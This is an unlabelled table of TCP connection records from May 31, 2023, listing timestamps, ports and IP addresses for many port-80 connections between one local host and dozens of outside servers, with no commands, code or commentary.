May 31, 2023 14:50:48.432389021 CEST	49961	80	192.168.2.3	211.1.226.67
May 31, 2023 14:50:48.464129925 CEST	80	49960	213.186.33.17	192.168.2.3
May 31, 2023 14:50:48.464401960 CEST	49960	80	192.168.2.3	213.186.33.17
May 31, 2023 14:50:48.464914083 CEST	49960	80	192.168.2.3	213.186.33.17
May 31, 2023 14:50:48.500591993 CEST	80	49960	213.186.33.17	192.168.2.3
May 31, 2023 14:50:48.500623941 CEST	80	49960	213.186.33.17	192.168.2.3
May 31, 2023 14:50:48.500637054 CEST	80	49960	213.186.33.17	192.168.2.3
May 31, 2023 14:50:48.500863075 CEST	49960	80	192.168.2.3	213.186.33.17
May 31, 2023 14:50:48.543776989 CEST	80	49958	157.112.182.239	192.168.2.3
May 31, 2023 14:50:48.544879913 CEST	80	49958	157.112.182.239	192.168.2.3
May 31, 2023 14:50:48.544924974 CEST	80	49958	157.112.182.239	192.168.2.3
May 31, 2023 14:50:48.544965982 CEST	80	49958	157.112.182.239	192.168.2.3
May 31, 2023 14:50:48.545114040 CEST	49958	80	192.168.2.3	157.112.182.239
May 31, 2023 14:50:48.545151949 CEST	49958	80	192.168.2.3	157.112.182.239
May 31, 2023 14:50:48.610549927 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:48.610621929 CEST	49951	80	192.168.2.3	104.218.10.254
May 31, 2023 14:50:48.635807037 CEST	49962	80	192.168.2.3	192.241.158.94
May 31, 2023 14:50:48.711091042 CEST	80	49961	211.1.226.67	192.168.2.3
May 31, 2023 14:50:48.715584993 CEST	49961	80	192.168.2.3	211.1.226.67
May 31, 2023 14:50:48.715917110 CEST	49961	80	192.168.2.3	211.1.226.67
May 31, 2023 14:50:48.732435942 CEST	80	49962	192.241.158.94	192.168.2.3
May 31, 2023 14:50:48.734639883 CEST	49962	80	192.168.2.3	192.241.158.94
May 31, 2023 14:50:48.736572981 CEST	49962	80	192.168.2.3	192.241.158.94
May 31, 2023 14:50:48.833019018 CEST	80	49962	192.241.158.94	192.168.2.3
May 31, 2023 14:50:48.833051920 CEST	80	49962	192.241.158.94	192.168.2.3
May 31, 2023 14:50:48.833197117 CEST	49962	80	192.168.2.3	192.241.158.94
May 31, 2023 14:50:48.859282970 CEST	49962	80	192.168.2.3	192.241.158.94
May 31, 2023 14:50:48.955550909 CEST	80	49962	192.241.158.94	192.168.2.3
May 31, 2023 14:50:48.955671072 CEST	49962	80	192.168.2.3	192.241.158.94
May 31, 2023 14:50:48.994865894 CEST	80	49961	211.1.226.67	192.168.2.3
May 31, 2023 14:50:48.994893074 CEST	80	49961	211.1.226.67	192.168.2.3
May 31, 2023 14:50:48.994973898 CEST	49961	80	192.168.2.3	211.1.226.67
May 31, 2023 14:50:49.106600046 CEST	49961	80	192.168.2.3	211.1.226.67
May 31, 2023 14:50:49.262331963 CEST	49963	80	192.168.2.3	104.21.55.224
May 31, 2023 14:50:49.279184103 CEST	80	49963	104.21.55.224	192.168.2.3
May 31, 2023 14:50:49.279280901 CEST	49963	80	192.168.2.3	104.21.55.224
May 31, 2023 14:50:49.284068108 CEST	49963	80	192.168.2.3	104.21.55.224
May 31, 2023 14:50:49.300971985 CEST	80	49963	104.21.55.224	192.168.2.3
May 31, 2023 14:50:49.312201977 CEST	80	49963	104.21.55.224	192.168.2.3
May 31, 2023 14:50:49.312319994 CEST	49963	80	192.168.2.3	104.21.55.224
May 31, 2023 14:50:49.385973930 CEST	80	49961	211.1.226.67	192.168.2.3
May 31, 2023 14:50:49.386096001 CEST	49961	80	192.168.2.3	211.1.226.67
May 31, 2023 14:50:49.415621996 CEST	49964	80	192.168.2.3	69.163.239.62
May 31, 2023 14:50:49.553189993 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:49.569885969 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:49.570053101 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:49.570513010 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:49.580205917 CEST	80	49964	69.163.239.62	192.168.2.3
May 31, 2023 14:50:49.580360889 CEST	49964	80	192.168.2.3	69.163.239.62
May 31, 2023 14:50:49.580826998 CEST	49964	80	192.168.2.3	69.163.239.62
May 31, 2023 14:50:49.586922884 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:49.628103018 CEST	49702	80	192.168.2.3	192.124.249.20
May 31, 2023 14:50:49.637614012 CEST	49966	80	192.168.2.3	192.124.249.20
May 31, 2023 14:50:49.643790960 CEST	49699	80	192.168.2.3	104.21.23.9
May 31, 2023 14:50:49.647413969 CEST	80	49702	192.124.249.20	192.168.2.3
May 31, 2023 14:50:49.647537947 CEST	49702	80	192.168.2.3	192.124.249.20
May 31, 2023 14:50:49.655509949 CEST	80	49935	74.208.236.101	192.168.2.3
May 31, 2023 14:50:49.655591965 CEST	49935	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:49.656872988 CEST	80	49966	192.124.249.20	192.168.2.3
May 31, 2023 14:50:49.657011986 CEST	49966	80	192.168.2.3	192.124.249.20
May 31, 2023 14:50:49.660500050 CEST	80	49699	104.21.23.9	192.168.2.3
May 31, 2023 14:50:49.660593033 CEST	49699	80	192.168.2.3	104.21.23.9
May 31, 2023 14:50:49.662578106 CEST	49967	80	192.168.2.3	104.21.23.9
May 31, 2023 14:50:49.679150105 CEST	80	49967	104.21.23.9	192.168.2.3
May 31, 2023 14:50:49.679301023 CEST	49967	80	192.168.2.3	104.21.23.9
May 31, 2023 14:50:49.745223045 CEST	80	49964	69.163.239.62	192.168.2.3
May 31, 2023 14:50:49.745568991 CEST	80	49964	69.163.239.62	192.168.2.3
May 31, 2023 14:50:49.745959044 CEST	49964	80	192.168.2.3	69.163.239.62
May 31, 2023 14:50:49.771044016 CEST	49964	80	192.168.2.3	69.163.239.62
May 31, 2023 14:50:49.860301018 CEST	49966	80	192.168.2.3	192.124.249.20
May 31, 2023 14:50:49.876019955 CEST	49967	80	192.168.2.3	104.21.23.9
May 31, 2023 14:50:49.879534960 CEST	80	49966	192.124.249.20	192.168.2.3
May 31, 2023 14:50:49.882761955 CEST	80	49966	192.124.249.20	192.168.2.3
May 31, 2023 14:50:49.883169889 CEST	49966	80	192.168.2.3	192.124.249.20
May 31, 2023 14:50:49.892560959 CEST	80	49967	104.21.23.9	192.168.2.3
May 31, 2023 14:50:49.909012079 CEST	49705	80	192.168.2.3	59.106.19.204
May 31, 2023 14:50:49.921549082 CEST	80	49967	104.21.23.9	192.168.2.3
May 31, 2023 14:50:49.921663046 CEST	49967	80	192.168.2.3	104.21.23.9
May 31, 2023 14:50:49.935754061 CEST	80	49964	69.163.239.62	192.168.2.3
May 31, 2023 14:50:49.935874939 CEST	80	49964	69.163.239.62	192.168.2.3
May 31, 2023 14:50:49.935959101 CEST	49964	80	192.168.2.3	69.163.239.62
May 31, 2023 14:50:49.971173048 CEST	49701	80	192.168.2.3	70.39.251.249
May 31, 2023 14:50:49.971235991 CEST	49966	80	192.168.2.3	192.124.249.20
May 31, 2023 14:50:49.990649939 CEST	80	49966	192.124.249.20	192.168.2.3
May 31, 2023 14:50:49.992156029 CEST	49966	80	192.168.2.3	192.124.249.20
May 31, 2023 14:50:50.016417027 CEST	49703	80	192.168.2.3	80.93.82.33
May 31, 2023 14:50:50.016710997 CEST	49968	80	192.168.2.3	59.106.19.204
May 31, 2023 14:50:50.017258883 CEST	49969	80	192.168.2.3	3.94.41.167
May 31, 2023 14:50:50.046500921 CEST	80	49703	80.93.82.33	192.168.2.3
May 31, 2023 14:50:50.070615053 CEST	49706	80	192.168.2.3	118.27.125.181
May 31, 2023 14:50:50.070620060 CEST	49970	80	192.168.2.3	70.39.251.249
May 31, 2023 14:50:50.076715946 CEST	80	49701	70.39.251.249	192.168.2.3
May 31, 2023 14:50:50.085238934 CEST	49971	80	192.168.2.3	80.93.82.33
May 31, 2023 14:50:50.089577913 CEST	49972	80	192.168.2.3	118.27.125.181
May 31, 2023 14:50:50.115309954 CEST	80	49971	80.93.82.33	192.168.2.3
May 31, 2023 14:50:50.115458965 CEST	49971	80	192.168.2.3	80.93.82.33
May 31, 2023 14:50:50.133052111 CEST	49971	80	192.168.2.3	80.93.82.33
May 31, 2023 14:50:50.163459063 CEST	80	49969	3.94.41.167	192.168.2.3
May 31, 2023 14:50:50.163507938 CEST	80	49971	80.93.82.33	192.168.2.3
May 31, 2023 14:50:50.163691044 CEST	49969	80	192.168.2.3	3.94.41.167
May 31, 2023 14:50:50.163753986 CEST	49971	80	192.168.2.3	80.93.82.33
May 31, 2023 14:50:50.176049948 CEST	80	49970	70.39.251.249	192.168.2.3
May 31, 2023 14:50:50.176188946 CEST	49970	80	192.168.2.3	70.39.251.249
May 31, 2023 14:50:50.178323984 CEST	80	49705	59.106.19.204	192.168.2.3
May 31, 2023 14:50:50.242182016 CEST	49969	80	192.168.2.3	3.94.41.167
May 31, 2023 14:50:50.242233992 CEST	49970	80	192.168.2.3	70.39.251.249
May 31, 2023 14:50:50.242660999 CEST	49709	80	192.168.2.3	34.117.168.233
May 31, 2023 14:50:50.244138002 CEST	49973	80	192.168.2.3	34.117.168.233
May 31, 2023 14:50:50.246378899 CEST	49974	80	192.168.2.3	72.44.93.236
May 31, 2023 14:50:50.252331018 CEST	49710	80	192.168.2.3	172.67.73.176
May 31, 2023 14:50:50.253053904 CEST	49971	80	192.168.2.3	80.93.82.33
May 31, 2023 14:50:50.254789114 CEST	49975	80	192.168.2.3	172.67.73.176
May 31, 2023 14:50:50.259140968 CEST	80	49973	34.117.168.233	192.168.2.3
May 31, 2023 14:50:50.259363890 CEST	49973	80	192.168.2.3	34.117.168.233
May 31, 2023 14:50:50.259767056 CEST	49973	80	192.168.2.3	34.117.168.233
May 31, 2023 14:50:50.266072989 CEST	80	49709	34.117.168.233	192.168.2.3
May 31, 2023 14:50:50.266227961 CEST	49709	80	192.168.2.3	34.117.168.233
May 31, 2023 14:50:50.269572020 CEST	80	49710	172.67.73.176	192.168.2.3
May 31, 2023 14:50:50.269660950 CEST	49710	80	192.168.2.3	172.67.73.176
May 31, 2023 14:50:50.271303892 CEST	80	49975	172.67.73.176	192.168.2.3
May 31, 2023 14:50:50.271410942 CEST	49975	80	192.168.2.3	172.67.73.176
May 31, 2023 14:50:50.272017956 CEST	49975	80	192.168.2.3	172.67.73.176
May 31, 2023 14:50:50.274565935 CEST	80	49973	34.117.168.233	192.168.2.3
May 31, 2023 14:50:50.283426046 CEST	80	49971	80.93.82.33	192.168.2.3
May 31, 2023 14:50:50.283651114 CEST	49971	80	192.168.2.3	80.93.82.33
May 31, 2023 14:50:50.288561106 CEST	80	49975	172.67.73.176	192.168.2.3
May 31, 2023 14:50:50.289786100 CEST	80	49968	59.106.19.204	192.168.2.3
May 31, 2023 14:50:50.290915966 CEST	49968	80	192.168.2.3	59.106.19.204
May 31, 2023 14:50:50.294315100 CEST	80	49973	34.117.168.233	192.168.2.3
May 31, 2023 14:50:50.294971943 CEST	49973	80	192.168.2.3	34.117.168.233
May 31, 2023 14:50:50.304910898 CEST	80	49975	172.67.73.176	192.168.2.3
May 31, 2023 14:50:50.305073977 CEST	49975	80	192.168.2.3	172.67.73.176
May 31, 2023 14:50:50.347194910 CEST	80	49970	70.39.251.249	192.168.2.3
May 31, 2023 14:50:50.348114967 CEST	80	49970	70.39.251.249	192.168.2.3
May 31, 2023 14:50:50.348218918 CEST	49970	80	192.168.2.3	70.39.251.249
May 31, 2023 14:50:50.349978924 CEST	80	49706	118.27.125.181	192.168.2.3
May 31, 2023 14:50:50.350092888 CEST	49706	80	192.168.2.3	118.27.125.181
May 31, 2023 14:50:50.360605001 CEST	80	49972	118.27.125.181	192.168.2.3
May 31, 2023 14:50:50.360846996 CEST	49972	80	192.168.2.3	118.27.125.181
May 31, 2023 14:50:50.364722967 CEST	49968	80	192.168.2.3	59.106.19.204
May 31, 2023 14:50:50.373806000 CEST	80	49974	72.44.93.236	192.168.2.3
May 31, 2023 14:50:50.373972893 CEST	49974	80	192.168.2.3	72.44.93.236
May 31, 2023 14:50:50.374295950 CEST	49974	80	192.168.2.3	72.44.93.236
May 31, 2023 14:50:50.387612104 CEST	80	49969	3.94.41.167	192.168.2.3
May 31, 2023 14:50:50.387650967 CEST	80	49969	3.94.41.167	192.168.2.3
May 31, 2023 14:50:50.387701988 CEST	49969	80	192.168.2.3	3.94.41.167
May 31, 2023 14:50:50.387737989 CEST	49969	80	192.168.2.3	3.94.41.167
May 31, 2023 14:50:50.501540899 CEST	80	49974	72.44.93.236	192.168.2.3
May 31, 2023 14:50:50.506905079 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.506941080 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.506966114 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.506999016 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.507009983 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.507019997 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.507059097 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.507061005 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.507087946 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.507098913 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.507108927 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.507127047 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.507131100 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.507148981 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.507160902 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.507200956 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.507719040 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.507746935 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.507766962 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.507781982 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.507787943 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.507808924 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.507832050 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.507874966 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.508734941 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.508759975 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.508780003 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.508799076 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.508819103 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.508965969 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.509035110 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.509711027 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.509736061 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.509757042 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.509776115 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.509794950 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.509880066 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.509918928 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.510653019 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.510673046 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.510691881 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.510711908 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.510730028 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.510735989 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.510776997 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.511725903 CEST	49969	80	192.168.2.3	3.94.41.167
May 31, 2023 14:50:50.523760080 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.523796082 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.523816109 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.523833990 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.523852110 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.523870945 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.523889065 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.524007082 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.524061918 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.524800062 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.524826050 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.524846077 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.524864912 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.524884939 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.524890900 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.524910927 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.524955988 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.525742054 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.525764942 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.525784016 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.525803089 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.525824070 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.525824070 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.525861025 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.526750088 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.526773930 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.526793957 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.526813030 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.526827097 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.526833057 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.526854992 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.526896954 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.527709007 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.527750969 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.527770996 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.527784109 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.527790070 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.527810097 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.527831078 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.527867079 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.528723955 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.528765917 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.528784990 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.528804064 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.528822899 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.528832912 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.528867006 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.529655933 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.529680014 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.529700041 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.529719114 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.529736996 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.529752970 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.529772997 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.529795885 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.530663013 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.530688047 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.530709028 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.530728102 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.530740023 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.530747890 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.530757904 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.530807972 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.531644106 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.531667948 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.531688929 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.531733036 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.531760931 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.532243967 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.532284975 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.532305002 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.532322884 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.532341957 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.532347918 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.532402039 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.533204079 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.533227921 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.533246994 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.533265114 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.533283949 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.533292055 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.533314943 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.533345938 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.534143925 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.534163952 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.534183979 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.534202099 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.534221888 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.534450054 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.535734892 CEST	49975	80	192.168.2.3	172.67.73.176
May 31, 2023 14:50:50.538619995 CEST	49972	80	192.168.2.3	118.27.125.181
May 31, 2023 14:50:50.539350986 CEST	49976	80	192.168.2.3	137.118.26.67
May 31, 2023 14:50:50.540448904 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.540498972 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.540518999 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.540538073 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.540604115 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.540633917 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.540736914 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.540757895 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.540776014 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.540795088 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.540805101 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.540816069 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.540838003 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.540884018 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.541713953 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.541738987 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.541758060 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.541775942 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.541795015 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.541918039 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.541976929 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.542619944 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.542643070 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.542663097 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.542681932 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.542695999 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.542702913 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.542754889 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.542795897 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.543540001 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.543561935 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.543581963 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.543601036 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.543607950 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.543621063 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.543643951 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.543714046 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.544404984 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.544433117 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.544451952 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.544470072 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.544490099 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.544504881 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.544528961 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.544574976 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.545305014 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.545332909 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.545351982 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.545370102 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.545388937 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.545398951 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.545420885 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.545478106 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.546196938 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.546354055 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.546375036 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.546394110 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.546425104 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.546427965 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.546447992 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.546473026 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.546499968 CEST	49965	80	192.168.2.3	172.67.70.223
